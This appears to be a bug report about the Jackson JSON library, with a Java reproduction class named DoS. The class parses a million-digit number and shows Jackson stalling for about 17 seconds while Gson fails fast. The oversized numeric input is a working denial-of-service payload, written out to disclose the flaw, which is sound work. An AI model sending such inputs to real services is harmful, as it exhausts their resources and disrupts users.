seems that jackson have some problems when parse super number
Gson failed at once, but jackson block long times and then failed
because jackson parse the super number to BigInteger first and then convert
to target number type.
i write a reproduce test case
please help me to resolve the problem, thanks
package test.jackson;
import java.util.concurrent.Callable;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.base.Strings;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
public class DoS {
static String input = Strings.repeat("1", 100_0000);
static Gson gson = new GsonBuilder().create();
static ObjectMapper mapper = new ObjectMapper();
public static enum Color {
WHITE,
BLACK
}
static void run(String name, Callable callable) {
System.out.println(name);
long start = System.currentTimeMillis();
try {
Object result = callable.call();
System.out.println(" result:" + result);
} catch (Throwable e) {
//System.out.println(" failed: " + e.getMessage());
System.out.println(" failed");
}
System.out.println(" time:" + (System.currentTimeMillis() - start) + "
ms");
}
public static void main(String[] args) {
run("Gson enum:", () -> gson.fromJson(input, Color.class));
run("Jackson enum:", () -> mapper.readValue(input, Color.class));
System.out.println();
// byte/Byte/short/Short/int/Integer/long/Long
// all these types, jackson is very slow
run("Gson int:", () -> gson.fromJson(input, int.class));
run("Jackson int:", () -> mapper.readValue(input, int.class));
System.out.println();
// float/Float/double/Double
// all these types, jackson is very slow
run("Gson double:", () -> gson.fromJson(input, double.class));
run("Jackson double:", () -> mapper.readValue(input, double.class));
System.out.println();
}
}
the output is :
Gson enum:
result:null
time:16 ms
Jackson enum:
failed
time:17469 ms
Gson int:
failed
time:32 ms
Jackson int:
failed
time:17392 ms
Gson double:
result:Infinity
time:8 ms
Jackson double:
result:Infinity
time:18187 ms
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